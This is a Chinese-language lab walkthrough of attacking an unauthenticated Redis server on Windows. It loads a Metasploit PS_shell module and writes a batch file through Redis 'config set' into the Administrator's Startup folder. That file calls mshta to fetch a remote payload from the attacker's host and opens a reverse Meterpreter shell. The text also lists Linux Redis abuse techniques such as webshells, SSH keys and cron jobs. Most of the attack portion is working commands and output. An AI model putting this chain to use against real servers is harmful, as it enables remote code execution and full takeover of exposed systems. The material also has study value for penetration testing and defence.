环境搭建

windows版本redis: Redis-x64-3.2.100.msi

靶机环境: windows server 2012

​ IP: 10.107.11.76

攻击环境: kali linux

​ IP: 10.107.10.77

模拟redis未授权环境

编辑Redis目录中的redis.windows.conf配置文件,如下设置:

1
protected-mode no

这样我们就得到了一个未授权的环境。

模拟攻击

mshta PS_shell

这里我们要用到PS_shell.rb这个脚本,下载地址如下:

PS_shell.rb

下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/目录下。

执行命令:

1
reload_all

加载攻击脚本,然后执行如下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf > use exploit/windows/PS_shell
msf exploit(windows/PS_shell) > options

Module options (exploit/windows/PS_shell):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 Automatic


msf exploit(windows/PS_shell) > set uripath 123
uripath => 123

msf exploit(windows/PS_shell) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.107.10.77:4444
msf exploit(windows/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123
[*] Local IP: http://10.107.10.77:8080/123
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://10.107.10.77:8080/123"

从以上结果来看我们只需要执行mshta.exe "http://10.107.10.77:8080/123"这个命令就可以得到一个反弹的shell了。

redis未授权写文件

这里我们回到windows版本下的redis。利用这个未授权进行写文件。

linux环境下,redis未授权可以利用以下方法利用:

  • 保存到www目录,创建webshell
  • 创建SSH authorized_keys文件
  • 写计划任务(/var/spool/cron/&/etc/cron.d/)
  • slave of 8.8.8.8主从模式利用
  • 写入到/etc/profile.d/用户环境变量
  • 开启AOF持久化纯文本记录appendfilename

我们常用的就是前三种,但是在windows这些都是不成立的。

在网上找了不少资料,windows环境下的redis未授权利用的文章还是比较少的,可以利用的点就是启动项了,

但是还是比较鸡肋的,需要目标机器重启。

另外我在T00ls.net看到的有人回复有如下方法:

  1. lpk,sethc,启动项,mof,ink劫持
  2. 写个hta下载powershell执行写入文件 metasploit等管理员上线

第一个对于redis未授权写文件来说到除启动项,其他的对于写文件来说都是比较麻烦的。

第二个就是还是麻烦的,既然可以利用mshta了就可以利用我上面说的PS_shell.rb这个脚本了。

这里还是利用PS_shell.rb生成一个恶意链接,利用mshta这个命令来执行这个恶意链接反弹一个shell。

执行命令最简单的就是用bat文件了。我们只需要写入一个eval.bat来执行

1
mshta.exe "http://10.107.10.77:8080/123"

等待目标重启,我们就可以得到shell了。

写文件的时候需要注意的就是:redis写文件会自动生成一个redis版本信息,如下:

1
REDIS0007?redis-ver3.2.100?redis-bits繞?ctime聤K][?used-mem篓? ? ?

所以我们需要处理一下,在bat中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n,而且一个\r\n是不行的。这里我们用两个或多个\r\n来进行换行。

未授权连接到redis,执行如下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~# telnet 10.107.11.76 6379
Trying 10.107.11.76...
Connected to 10.107.11.76.
Escape character is '^]'.
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
+OK
config set dbfilename 1.bat
+OK
config set dbfilename 1.bat
+OK
set x "\r\n\r\nmshta http://10.107.10.77:8080/123\r\n\r\n"
+OK
save
+OK

我们这边手动重启靶机,就可以反弹一个shell了。

1
2
3
4
5
6
7
8
9
msf exploit(windows/PS_shell) > 
[*] 10.107.11.76 PS_shell - Delivering payload
[*] Sending stage (179779 bytes) to 10.107.11.76
[*] Meterpreter session 5 opened (10.107.10.77:4444 -> 10.107.11.76:49160) at 2018-07-30 23:05:42 -0400
sessions -i 5
[*] Starting interaction with 5...

meterpreter > getuid
Server username: WIN-HMRM0QMQ2QQ\Administrator